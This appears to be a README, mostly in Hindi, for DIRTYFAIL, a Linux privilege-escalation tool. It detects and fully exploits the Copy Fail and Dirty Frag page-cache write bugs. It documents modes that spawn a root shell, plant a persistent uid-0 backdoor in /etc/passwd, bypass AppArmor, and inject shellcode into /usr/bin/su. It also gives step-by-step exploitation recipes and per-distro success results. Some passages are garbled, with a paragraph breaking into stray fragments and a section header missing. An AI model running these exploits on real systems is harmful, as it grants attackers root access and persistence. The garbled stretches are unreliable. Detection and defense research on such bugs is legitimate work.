
लिनक्स पेज-कैश लेखन भेद्यताओं के लिए डिटेक्टर + PoC: Copy Fail (CVE-2026-31431) और Dirty Frag (CVE-2026-43284/43500)। केवल अधिकृत सुरक्षा अनुसंधान के लिए।
एक एकीकृत डिटेक्टर और PoC हार्नेस, Copy Fail और Dirty Frag लिनक्स पेज-कैश लेखन भेद्यता परिवारों के लिए।``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
DIRTYFAIL एक छोटा, अच्छी तरह से प्रलेखित C टूल है जो सुरक्षा शोधकर्ताओं के लिए है।
यह पता लगाता है कि कोई Linux होस्ट इस परिवार के तीन CVEs के लिए
असुरक्षित है या नहीं, और — स्पष्ट, टाइप की गई पुष्टि के साथ — एक वास्तविक
proof-of-concept चलाता है जो कॉल करने वाले को असुरक्षित सिस्टम पर
root शेल में डाल देता है।
| CVE / वैरिएंट | नाम | DIRTYFAIL कवरेज |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` पेज-कैश लेखन) | पता लगाना + पूर्ण PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP पेज-कैश लेखन | पता लगाना + पूर्ण PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP पेज-कैश लेखन (`esp6`) | पता लगाना + पूर्ण PoC |
| **CVE-2026-43500** | Dirty Frag — RxRPC पेज-कैश लेखन | पता लगाना + पूर्ण PoC |
| Copy Fail GCM वैरिएंट | xfrm-ESP `rfc4106(gcm(aes))` पेज-कैश लेखन | पता लगाना + पूर्ण PoC |
**बोनस मोड:**
- **`--scan --active`** — sentinel-STORE सक्रिय प्रोब। डिफ़ॉल्ट `--scan`
प्रति-CVE पूर्वशर्तें (कर्नेल, मॉड्यूल, LSM स्थिति) के साथ-साथ एक
Copy Fail प्रिमिटिव का सक्रिय प्रोब रिपोर्ट करता है। `--active` जोड़ने से
sentinel-फ़ाइल STORE प्रोब अन्य चारों प्रिमिटिव (ESP v4,
ESP v6, RxRPC, GCM) तक विस्तृत होता है: प्रत्येक `/tmp` sentinel के विरुद्ध
कर्नेल ट्रिगर चलाता है और केवल तभी VULNERABLE रिपोर्ट करता है जब मार्कर बाइट्स वास्तव में
पहुँचते हैं। यह पूर्ण exploit चलाए बिना backport-पैच किए गए
कर्नेल (पूर्वशर्तें असुरक्षित कहती हैं लेकिन प्रोब सुरक्षित कहता है) को
बिना-पैच वाले कर्नेल से अलग करने का एकमात्र तरीका है। `/etc/passwd` को
कभी स्पर्श नहीं किया जाता। V6 STORE शिफ्ट प्रति कर्नेल बिल्ड स्वतः कैलिब्रेट करता है।
- **`--exploit-backdoor`** — लगातार बना रहने वाला uid-0 बैकडोर: लंबाई-मिलान वाला
`/etc/passwd` में `nologin`/`false`/`sync` पंक्ति का अधिलेखन
`dirtyfail::0:0:<pad>:/:/bin/bash` के साथ। पेज निकाले जाने तक शेल से बाहर निकलने के बाद भी
बना रहता है। `--cleanup-backdoor` के लिए स्थिति `/var/tmp/.dirtyfail.state` पर
संग्रहीत होती है। `dirtyfail` उपयोगकर्ता नाम जानबूझकर
इस प्रोजेक्ट से मेल खाता है ताकि इसे किसी भी ऑडिट में तुरंत पहचाना जा सके —
यदि आपको अधिकृत red-team अभ्यास के लिए कोई अलग पहचानकर्ता चाहिए तो
`src/backdoor.c` में `NEW_USER` बदलें।
- **AppArmor बायपास** — Ubuntu की
`apparmor_restrict_unprivileged_userns=1` नीति को एकल-हॉप
`change_onexec("crun")` पुनः-निष्पादन के माध्यम से एक unconfined प्रोफ़ाइल में पराजित करता है जो
userns क्षमताएँ बनाए रखती है। प्रत्येक exploit मोड इसे
आंतरिक रूप से fork के माध्यम से संभालता है: पैरेंट init नेमस्पेस में रहता है, चाइल्ड
बायपास करतब करता है, पैरेंट वैश्विक पेज कैश पढ़ता है और REAL init-ns root के लिए
`su` चलाता है। विरासती `--aa-bypass` फ़्लैग अभी भी
बायपास तंत्र को अलग से डीबग करने के लिए मौजूद है। देखें [§8.5 आर्किटेक्चर](#85-architecture-outerinner-fork-based-bypass)।
## सत्यापित कार्यक्षमता
DIRTYFAIL को कई डिस्ट्रो और कर्नेल संस्करणों पर **अनुभवजन्य रूप से एंड-टू-एंड सत्यापित** किया गया है।
नीचे दिया गया मैट्रिक्स प्रत्येक डिस्ट्रो की नई स्थापना के विरुद्ध
प्रत्येक `--exploit-*` मोड चलाने के प्रति-मोड परीक्षण परिणाम
दर्शाता है।
| डिस्ट्रो | कर्नेल | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU shellcode |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (परीक्षण नहीं किया गया) |
| Debian 13.4 | `6.12.86+deb13` | कोई नहीं | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (सख्त) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |
**संकेत:** ✅ exploit पहुँचा और वास्तविक init-ns root उत्पन्न किया · 🛡 शमित — exploit कर्नेल बग तक नहीं पहुँच सकता (कर्नेल पैच किया गया या LSM अविशेषाधिकृत पथ को रोकता है) · ⏭ लागू नहीं (पूर्वशर्त गायब)
### सक्रिय-प्रोब सत्यापन (`--scan --active`)
`--active` फ़्लैग पता लगाने के दौरान प्रति CVE एक sentinel-फ़ाइल STORE प्रोब जोड़ता है
। हमने प्रोब आउटपुट को उपरोक्त समान 4 डिस्ट्रो के विरुद्ध सत्यापित किया
(Debian, Fedora, AlmaLinux, Ubuntu 26.04) — नीचे दिया गया मैट्रिक्स
प्रति-मोड प्रोब परिणाम दिखाता है और पूर्ण-exploit
वास्तविकता से एक-से-एक मेल खाता है:
| डिस्ट्रो | Copy Fail प्रोब | ESP v4 प्रोब | ESP v6 प्रोब | RxRPC प्रोब | GCM प्रोब |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | अक्षत 🛡 | अक्षत 🛡 | अक्षत 🛡 | अक्षत 🛡 | अक्षत 🛡 |
| Fedora 44 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | बाइट परिवर्तन ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | पूर्वशर्तें ⏭ | sentinel बदला ✅ |
| Ubuntu 26.04 | अक्षत 🛡 | LSM-अवरुद्ध 🛡 | LSM-अवरुद्ध 🛡 | LSM-अवरुद्ध 🛡 | LSM-अवरुद्ध 🛡 |
V6 प्रोब का STORE लैंडिंग ऑफ़सेट (Fedora और Alma पर 8) अनुभवजन्य
`V6_STORE_SHIFT` से मेल खाता है जिसे `calibrate_v6_shift()` रनटाइम पर
खोजता है — यह पुष्टि करता है कि स्वतः-कैलिब्रेशन पहले से
हार्ड-कोडित स्थिरांक को कर्नेल बिल्ड में सही ढंग से बदल देता है।
¹ GCM और Backdoor के लिए `algif_aead` लोड करने योग्य होना आवश्यक है। Ubuntu 24.04
`/etc/modprobe.d/disable-algif_aead.conf` भेजता है जो इसे Copy Fail शमन के रूप में
ब्लैकलिस्ट करता है। ब्लैकलिस्ट हटाए जाने पर (जैसे शमन से पहले के कर्नेल पर)
दोनों मोड एंड-टू-एंड काम करते हैं।
² Copy Fail का algif_aead पथ modprobe ब्लैकलिस्ट द्वारा शमित है;
कर्नेल में अंतर्निहित CVE प्रिमिटिव समान है चाहे
`authencesn` पहुँच योग्य हो या नहीं। xfrm-ESP, RxRPC, और GCM वैरिएंट सभी
उसी कर्नेल पर पहुँचते हैं क्योंकि वे algif_aead से नहीं जाते।
³ AlmaLinux 10 का `kernel-modules-extra` पैकेज डिफ़ॉल्ट रूप से
Minimal इंस्टॉल में स्थापित नहीं होता, इसलिए `rxrpc.ko` डिस्क पर गायब है।
EPEL या AlmaLinux extras रिपॉजिटरी से `kernel-modules-extra-$(uname -r)` स्थापित करने से
मॉड्यूल वापस आ जाता है; स्टॉक minimal इंस्टॉल पर RxRPC
अप्राप्य है।
⁴ **Ubuntu 26.04 LTS अविशेषाधिकृत शोषण को व्यापक रूप से रोकता है।**
शिप किया गया कर्नेल `7.0.0-15.15` (रिलीज़ 2026-04-22) **मेनलाइन पैच
`f4c50a4034e6` (विलय 2026-05-07) से ~2 सप्ताह पूर्व** का है — इसलिए
बग अभी भी कर्नेल में मौजूद है। Ubuntu की सुरक्षा
**AppArmor कड़ाई के माध्यम से रक्षा-गहराई** है, न कि कर्नेल पैच:
- `apparmor_restrict_unprivileged_userns=1` डिफ़ॉल्ट रूप से सक्षम है।
- `unshare(CLONE_NEWUSER)` पर, कर्नेल-स्तरीय AppArmor प्रवर्तन
किसी भी प्रोफ़ाइल (जिसमें `(unconfined)`-चिह्नित
जैसे `crun`, `chrome`, डिफ़ॉल्ट `unconfined` शामिल हैं) को स्वतः ही
`<profile>//&unprivileged_userns (mixed)` उप-प्रोफ़ाइल में स्थानांतरित कर देता है जिसमें
`audit deny capability` होता है। नए userns के अंदर uid 0 को कोई कैप नहीं मिलती।
- `change_onexec` किसी भिन्न प्रोफ़ाइल पर मदद नहीं करता — यहाँ तक कि
`crun` प्रोफ़ाइल (जिसमें स्पष्ट `userns,` अनुमति और
`flags=(unconfined)` है) भी unshare पर स्वतः स्थानांतरित हो जाती है। इसके माध्यम से सत्यापित
`aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
→ `crun//&unprivileged_userns (mixed)`।
- `newuidmap`/`newgidmap` (setuid root) सफलतापूर्वक uid_map लिखते हैं,
लेकिन `setresuid(0)` तब सफल होता है जबकि `ioctl(SIOCSIFFLAGS)` और
हर अन्य CAP_NET_ADMIN-गेटेड syscall EPERM लौटाता है क्योंकि
क्षमता अस्वीकृति प्रति-नेमस्पेस है, प्रति-uid नहीं।
DIRTYFAIL बाइनरी अपने बायपास को सही ढंग से सशस्त्र करता है और चरण 2 तक पहुँचता है,
लेकिन नए userns के अंदर CAP_NET_ADMIN प्राप्त नहीं कर सकता। exploit
अवसंरचना बायपास तकनीक की परवाह किए बिना LSM परत पर अवरुद्ध होती है।
हमने `change_onexec(crun)`, `change_onexec(chrome)`,
`aa-exec -p <profile>`, और सीधे `unshare(USER|NET) + newuidmap` का परीक्षण किया
— सभी समान `unprivileged_userns` उप-प्रोफ़ाइल उत्पन्न करते हैं।
**यह Canonical द्वारा अच्छा सुरक्षा कार्य है।** इस बग वर्ग को
कर्नेल पुनर्निर्माण की आवश्यकता के बिना अविशेषाधिकृत उपयोगकर्ताओं के लिए शमित किया गया है।
एक बाद का स्थिर अद्यतन संभवतः उचित कर्नेल पैच भी लाएगा,
जिससे सुरक्षा पूरी होगी।
⁵ **`--exploit-su` शेलकोड इंजेक्शन** उसी Copy Fail
algif_aead 4-बाइट प्रिमिटिव (`cf_4byte_write`) पर निर्भर करता है। उन कर्नेलों पर जहाँ
Copy Fail पैच किया गया है (Debian 13.4) या LSM-अवरुद्ध (Ubuntu 26.04 — लेकिन
algif_aead पथ 7.0.0-15 में भी पैच किया गया था), शेलकोड रोपण चल
तो जाता है लेकिन सत्यापन चरण विफल हो जाता है ("page cache does not match planted
shellcode") और स्वतः-वापसी `/usr/bin/su` को पुनर्स्थापित कर देती है। परीक्षण
AlmaLinux 10.1 (प्रवेश बिंदु फ़ाइल ऑफ़सेट `0x45b0` पर) और Fedora 44 (ऑफ़सेट `0x1b60`) पर
एंड-टू-एंड किया गया; ELF पार्सर प्रत्येक डिस्ट्रो के
PIE आधार को स्वतंत्र रूप से संभालता है। Fedora 44 पर वास्तविक-root प्रमाण:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`।
परीक्षण पुनरुत्पादकता:
- हमने प्रत्येक डिस्ट्रो को एक स्वच्छ ISO से पुनः स्थापित किया, SSH कुंजी प्रमाणीकरण + NOPASSWD sudo स्थापित किया, प्रत्येक पर DIRTYFAIL को क्लोन और बिल्ड किया, एक `clean-build` Parallels स्नैपशॉट लिया, फिर सभी 5 exploit मोड को `--no-shell` के साथ चलाया (fadvise + drop_caches के माध्यम से स्वतः-वापसी)।
- अनुभवजन्य परिणाम पंक्तियाँ वास्तविक `--exploit-*` आउटपुट को पार्स करके प्राप्त की गईं, सफलता संकेतों की तलाश में: `page cache now reports <user> with uid 0`, `root password field is now empty`, `is now uid 0` (बैकडोर), या कोई भी विफलता पैटर्न (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`)।
- RxRPC और Backdoor "वास्तविक root" सत्यापन के लिए हमने `echo "" | su - root` / `echo "" | su - dirtyfail` चलाया और `uid=0(root)` के साथ-साथ `/etc/shadow` का सफल पठन पुष्टि की।
> **केवल अधिकृत परीक्षण।** DIRTYFAIL का उपयोग केवल उन्हीं सिस्टमों पर करें जिनके स्वामी आप हैं या
> जिनका मूल्यांकन करने के लिए आप स्पष्ट रूप से नियुक्त हैं। Exploit मोड
> `/etc/passwd` को *कर्नेल पेज कैश में* दूषित करते हैं (डिस्क पर मौजूद फ़ाइल को कभी
> स्पर्श नहीं किया जाता)। सफ़ाई `dirtyfail --cleanup` या
> `echo 3 > /proc/sys/vm/drop_caches` है।
---
## विषय-सूची
1. [बग वर्ग](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
- [4.5 आर्किटेक्चर अवलोकन](#45-architecture-overview)
5. [बिल्ड](#5-build)
6. [उपयोग](#6-usage)
7. [DIRTYFAIL प्रत्येक CVE का पता कैसे लगाता है](#7-how-dirtyfail-detects-each-cve)
8. [DIRTYFAIL प्रत्येक CVE का शोषण कैसे करता है](#8-how-dirtyfail-exploits-each-cve)
- [8.5 आर्किटेक्चर: बाहरी/आंतरिक fork-आधारित बायपास](#85-architecture-outerinner-fork-based-bypass)
9. [शमन](#9-mitigations)
10. [नैतिकता और प्रकटीकरण](#10-ethics--disclosure)
11. [श्रेय](#11-credits)
**साथी दस्तावेज़:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/DEFENDERS.md) — sysadmin प्लेबुक: क्या मैं असुरक्षित हूँ, कैसे शमन करें, क्या देखें।
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/RESEARCH.md) — समान बग वर्ग के लिए आसन्न पथों (AH, IPCOMP, MACsec, kTLS, आदि) का कर्नेल-स्रोत ऑडिट।
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-check.sh) — sysadmins के लिए स्टैंडअलोन bash डिटेक्टर (संकलन की आवश्यकता नहीं)।
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/main/tools/99-dirtyfail.rules) — exploit श्रृंखला के लिए लोड-करने-योग्य auditd नियम।
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-container-escape.sh) — क्रॉस-नेमस्पेस ब्लास्ट-रेडियस डेमो।
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/main/tools/exploit_su_aarch64.S) — `--exploit-su` के लिए aarch64 (ARM64) शेलकोड स्रोत। हार्डवेयर-अपरीक्षित; `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` के पीछे गेटेड रूप में भेजा जाता है। `src/exploit_su.c` में संगत बाइट्स को `aarch64-linux-gnu-as` के साथ पुनः उत्पन्न करके सत्यापित करें।
---
## 1. बग वर्ग
**पेज-कैश लेखन** भेद्यताएँ एक अविशेषाधिकृत उपयोगकर्ता को संशोधित करने देती हैं
ऐसी फ़ाइल की कर्नेल की मेमोरी-में प्रति जिसके लिए उनके पास केवल पठन पहुँच है।
डिस्क पर फ़ाइल कभी नहीं लिखी जाती; संशोधन RAM में बना रहता है
जब तक पेज बाहर नहीं निकाला जाता (`drop_caches`, मेमोरी दबाव, या रीबूट)।
यह वर्ग **Dirty Pipe** (CVE-2022-0847) से शुरू हुआ, जिसने
`pipe_buffer` फ़्लैग का दुरुपयोग किया। Copy Fail और Dirty Frag उत्तराधिकारी हैं जो
इसके बजाय `struct sk_buff` के `frag` सदस्य को लक्षित करते हैं। तंत्र
हमेशा समान है:
1. यूज़रस्पेस एक पठनीय फ़ाइल (जैसे
`/etc/passwd`, `/usr/bin/su`) से एक पेज-कैश पेज को `splice()` करके कर्नेल बफ़र के frag में डालता है।
2. एक रिसीव पथ उस बफ़र पर **इन-प्लेस** क्रिप्टो चलाता है — समान
पेज ऑपरेशन के स्रोत और गंतव्य दोनों होते हैं।
3. क्रिप्टो रूटीन डेटा क्षेत्र के बाहर एक "स्क्रैच" STORE करता है
(एक अनुक्रम-संख्या पुनर्व्यवस्था, एकल-ब्लॉक डिक्रिप्ट,
आदि) जो उपयोगकर्ता-पिन किए गए पेज के अंदर पहुँचता है।
4. फ़ाइल की पेज-कैश प्रति अब स्थायी रूप से संशोधित हो जाती है
होस्ट पर प्रत्येक पाठक के लिए, जब तक पेज बाहर नहीं निकाला जाता।
क्योंकि बग एक **नियतात्मक तर्क दोष** है, दौड़ नहीं, सफलता
दरें अनिवार्य रूप से 100% हैं और कर्नेल विफलता पर panic नहीं करता।
## 2. CVE-2026-31431 — Copy Fail
* प्रकटीकरण: **2026-04-29**
* साइट: <https://copy.fail/>
* मूल PoC (C): [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* मूल PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* कमिट द्वारा प्रस्तुत: `72548b093ee3` (2017)
* कमिट द्वारा सुधारा गया: `a664bf3d` (mainline 6.12 / 6.17 / 6.18 स्टेबल)
* प्रभावित की पुष्टि: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
### मूल कारण
कर्नेल का `algif_aead` मॉड्यूल AEAD क्रिप्टो API को
`AF_ALG` के माध्यम से यूज़रस्पेस को उजागर करता है। `authencesn(hmac(sha256), cbc(aes))`
टेम्पलेट RFC-4303 ESN (विस्तारित अनुक्रम संख्याएँ) लागू करता है; इसके
डिक्रिप्शन पथ का एक भाग **4-बाइट स्क्रैच लेखन** करता है
अनुक्रम संख्या को पुनर्व्यवस्थित करने के लिए:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★
...
The STORE at ★ is harmless on a normal IPsec packet — it lands inside
the skb's tag area, which is kernel-owned. The crypto template
assumes src and dst point into kernel memory.
algif_aead violates that assumption. It accepts splice() from
userspace, which plants page-cache pages into the request's
scatterlist. Because the AEAD runs in-place (req->dst = req->src),
the page-cache page now sits at the destination scatterlist offset
that the scratch write targets.
The 4 bytes that get written are bytes 4..7 of the AAD that userspace sent — the "seqno_lo" field of an ESP header, which the attacker fills with whatever they want.
Net primitive: 4-byte arbitrary-offset write into the page cache
of any file the attacker can open(O_RDONLY).
सबसे सरल हथियारीकरण /etc/passwd में है। एक सामान्य उपयोगकर्ता पंक्ति
इस प्रकार दिखती है:```
kara❌1000:1000:Kara,,,:/home/kara:/bin/bash
`1000` को `0000` में बदलने से (UID फ़ील्ड, किसी भी UID 1000–9999 के लिए ठीक 4 ASCII बाइट) glibc का `getpwnam()` उस उपयोगकर्ता के लिए uid=0 रिपोर्ट करता है। हालाँकि, PAM फिर भी डिस्क पर मौजूद `/etc/shadow` के विरुद्ध प्रमाणीकरण करता है (जो अछूता रहता है), इसलिए `su <user>` वास्तविक पासवर्ड पूछता है, उसे सत्यापित करता है, फिर `setuid(0)` करता है — और रूट पर पहुँच जाता है क्योंकि `/etc/passwd` की पेज-कैश प्रति कहती है कि हम रूट हैं।
`/etc/shadow` की अखंडता संरक्षित रहती है। डिस्क पर मौजूद `/etc/passwd` संरक्षित रहता है। केवल कर्नेल की RAM में `/etc/passwd` की प्रति दूषित होती है, और वह भी केवल `drop_caches` या रीबूट तक।
---
## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)
* प्रकटीकरण: **2026-04-30 → 2026-05-08**
* मूल PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* शोधकर्ता: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* कमिट द्वारा प्रस्तुत: `cac2661c53f3` (2017-01-17)
* कमिट द्वारा ठीक किया गया: `f4c50a4034e6` (mainline net.git, merged 2026-05-07)
* प्रभावित होने की पुष्टि: Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
CentOS Stream 10, AlmaLinux 10, Fedora 44
### मूल कारण
`esp_input()` को किसी skb के गैर-रैखिक (non-linear) होने पर (अर्थात frags के साथ) इन-प्लेस AEAD डिक्रिप्शन से पहले `skb_cow_data()` को कॉल करना चाहिए। कोड पथ में एक शॉर्ट-सर्किट है:```c
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) { // ★ bug
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow;
}
}
यदि skb में frags हैं लेकिन frag_list नहीं है, तो esp_input skb_cow_data को बायपास करता है और उपयोगकर्ता-आपूर्ति किए गए frag को सीधे AEAD टेम्पलेट को सौंप देता है। वही authencesn(...) स्क्रैच राइट जो Copy Fail को संचालित करता है, फिर spliced पेज के file offset (assoclen + cryptlen) पर पहुँचता है।
स्टोर किए गए 4 बाइट्स SA के replay_esn स्टेट से seq_hi होते हैं — जो SA पंजीकरण के समय XFRMA_REPLAY_ESN_VAL नेटलिंक विशेषता के माध्यम से हमलावर-नियंत्रित होते हैं।
लागत: XFRM SA पंजीकृत करने के लिए CAP_NET_ADMIN की आवश्यकता होती है, इसलिए हमलावर पहले unshare(CLONE_NEWUSER) के माध्यम से एक नए user namespace में प्रवेश करता है। यह अधिकांश डिस्ट्रोस पर डिफ़ॉल्ट रूप से अनुमत है (उबंटू का hardened प्रोफ़ाइल उल्लेखनीय अपवाद है)।
महत्वपूर्ण बात यह है कि यह प्रिमिटिव तब भी काम करता है जब algif_aead Copy Fail शमन लागू हो — xfrm पथ algif_aead से नहीं गुजरता है। जिस डिफेंडर ने केवल algif_aead को ब्लैकलिस्ट किया है, वह अभी भी Dirty Frag के प्रति संवेदनशील है।
V4bel का प्रकाशित PoC, 48 अनुक्रमिक 4-बाइट STOREs का उपयोग करके /usr/bin/su के पेज कैश के पहले 192 बाइट्स पर एक 192-बाइट स्थिर "root-shell" ELF लिखता है। संशोधन के बाद, execve("/usr/bin/su") setuid-root बिट को बरकरार रखते हुए नए ELF एंट्री पॉइंट को चलाता है, PAM को पूरी तरह से हटा देता है, और शेलकोड के अंदर से execve("/bin/sh") चलाता है।
DIRTYFAIL दो कारणों से सरल /etc/passwd UID-फ्लिप दृष्टिकोण (एक 4-बाइट STORE — Copy Fail के समान लक्ष्य) अपनाता है:
POSIX_FADV_DONTNEED के साथ पूरी तरह से प्रतिवर्ती है और /usr/bin/su को सिस्टम पर अन्य उपयोगकर्ताओं के लिए दूषित स्थिति में नहीं छोड़ता है।lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/2dc334f1a63a (2023-06)rxkad_verify_packet_1() RxRPC डेटा पैकेट के पहले 8 बाइट्स पर एक इन-प्लेस pcbc(fcrypt) एकल-ब्लॉक डिक्रिप्शन करता है:```c
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
memset(&iv, 0, sizeof(iv));
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst
ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE
यदि कोई पेज-कैश पेज skb के frag में splice किया गया है, तो 8-बाइट
डिक्रिप्शन उसके ऊपर किया जाता है।
**xfrm-ESP से अंतर**: जो 8 बाइट STORE होते हैं वे हैं
`fcrypt_decrypt(C, K)`, जहाँ `C` उस फ़ाइल ऑफ़सेट पर मौजूद
सिफरटेक्स्ट है और `K` उस RxRPC v1 टोकन की सत्र कुंजी है जिसे
हमलावर ने `add_key("rxrpc", ...)` के माध्यम से पंजीकृत किया था। हमलावर
STORE मान को सीधे नियंत्रित नहीं करता — उसे `K` को ब्रूट-फोर्स करना पड़ता है जब तक
`fcrypt_decrypt(C, K)` वांछित प्लेनटेक्स्ट उत्पन्न न कर दे।
`fcrypt` एंड्रयू फ़ाइल सिस्टम का एक सिफर है जिसमें **56-बिट कुंजी** और
8-बाइट ब्लॉक होता है। यह डिटर्मिनिस्टिक है; यह आसानी से यूज़र स्पेस में पोर्ट होता है; और
इसका कुंजी स्थान इतना छोटा है कि एक सीमित 8-बाइट लक्ष्य को
बाधा बजट के आधार पर मिलीसेकंड से सेकंड के भीतर
ब्रूट-फोर्स किया जा सकता है।
**महत्वपूर्ण बात यह है कि इस पथ को नेमस्पेस विशेषाधिकारों की आवश्यकता नहीं है** —
`add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` सभी
किसी भी अनप्रिविलेज्ड उपयोगकर्ता के लिए उपलब्ध हैं। RxRPC Ubuntu के
hardened-userns प्रोफ़ाइल (जहाँ xfrm-ESP अवरुद्ध है) पर इस अंतर को भरता है क्योंकि
`rxrpc.ko` डिफ़ॉल्ट Ubuntu बिल्ड में शामिल होता है।
### शोषण
पूरा एक्सप्लॉइट:
1. यूज़र-स्पेस में `K_A`, `K_B`, `K_C` को ब्रूट-फोर्स करें ताकि तीनों
`/etc/passwd` ऑफ़सेट 4, 6, 8 पर STOREs उत्पन्न करें
`"::"`, `"0:"`, `"0:GGGGGG:"` क्रमशः (last-write-wins)।
2. प्रत्येक `K_i` के लिए, `add_key` के साथ एक RxRPC v1 टोकन पंजीकृत करें,
उसी प्रक्रिया में एक फर्जी UDP सर्वर के विरुद्ध फोर्ज्ड AF_RXRPC हैंडशेक करें,
और splice के माध्यम से `rxkad_verify_packet_1` ट्रिगर करें।
3. अब `/etc/passwd` की पंक्ति 1 की पेज-कैश प्रति है
`root::0:0:GGGGGG:/root:/bin/bash` — एक खाली पासवर्ड फ़ील्ड।
4. `pam_unix.so nullok` के साथ PAM खाली पासवर्ड स्वीकार करता है; `su -`
एक रूट शेल देता है।
### DIRTYFAIL कवरेज
DIRTYFAIL इस CVE के लिए **दोनों** डिटेक्शन और एक पूर्ण PoC प्रदान करता है।
DIRTYFAIL का कार्यान्वयन `src/dirtyfrag_rxrpc.c` और
`src/fcrypt.c` में स्थित है:
- **fcrypt सिफर** (`fcrypt.c`): 56-बिट कुंजी, 8-बाइट ब्लॉक, 16-राउंड
फ़ीस्टल; मानक rxkad प्रोटोकॉल S-boxes। इसमें एक सिंगल-कोर
ब्रूट-फोर्स हार्नेस (~18 Mops/s) शामिल है जो कुंजी स्थान को तब तक खोजता है जब तक
कोई उम्मीदवार प्लेनटेक्स्ट कॉलर-प्रदत्त प्रेडिकेट को संतुष्ट नहीं करता।
- **rxkad चेकसम** (`compute_csum_iv`, `compute_cksum`): कर्नेल
फ़ॉर्मूला AF_ALG `pcbc(fcrypt)` के माध्यम से पुनरुत्पादित किया गया है ताकि वायर cksum
हमारे फोर्ज्ड DATA पैकेट में `rxkad_verify_packet` की गेट को पार कर सके।
- **RxRPC v1 टोकन निर्माण** (`build_rxrpc_v1_token`): XDR-एन्कोडेड
rxkad टोकन, `add_key("rxrpc", ...)` के माध्यम से हमारी
ब्रूट-फोर्स्ड सत्र कुंजी के साथ पंजीकृत होता है।
- **AF_RXRPC क्लाइंट + UDP फेक-सर्वर**: क्लाइंट एक कॉल शुरू करता है,
फेक-सर्वर (epoch, cid, callNumber) को पहले
पैकेट से निकालता है और एक फोर्ज्ड CHALLENGE उत्सर्जित करता है ताकि क्लाइंट
हमारी कुंजी के साथ `conn->rxkad.cipher` को प्राइम कर सके।
- **Splice ट्रिगर** (`do_one_trigger`): vmsplice फोर्ज्ड DATA वायर
हेडर → `/etc/passwd` से 8 बाइट splice करें → splice पाइप → udp_srv
→ recvmsg कर्नेल को `rxkad_verify_packet_1` के माध्यम से चलाता है → 8-बाइट
STORE।
- **चेन्ड-सिफरटेक्स्ट सुधार के साथ 3-splice चेन**: ब्रूट फोर्स
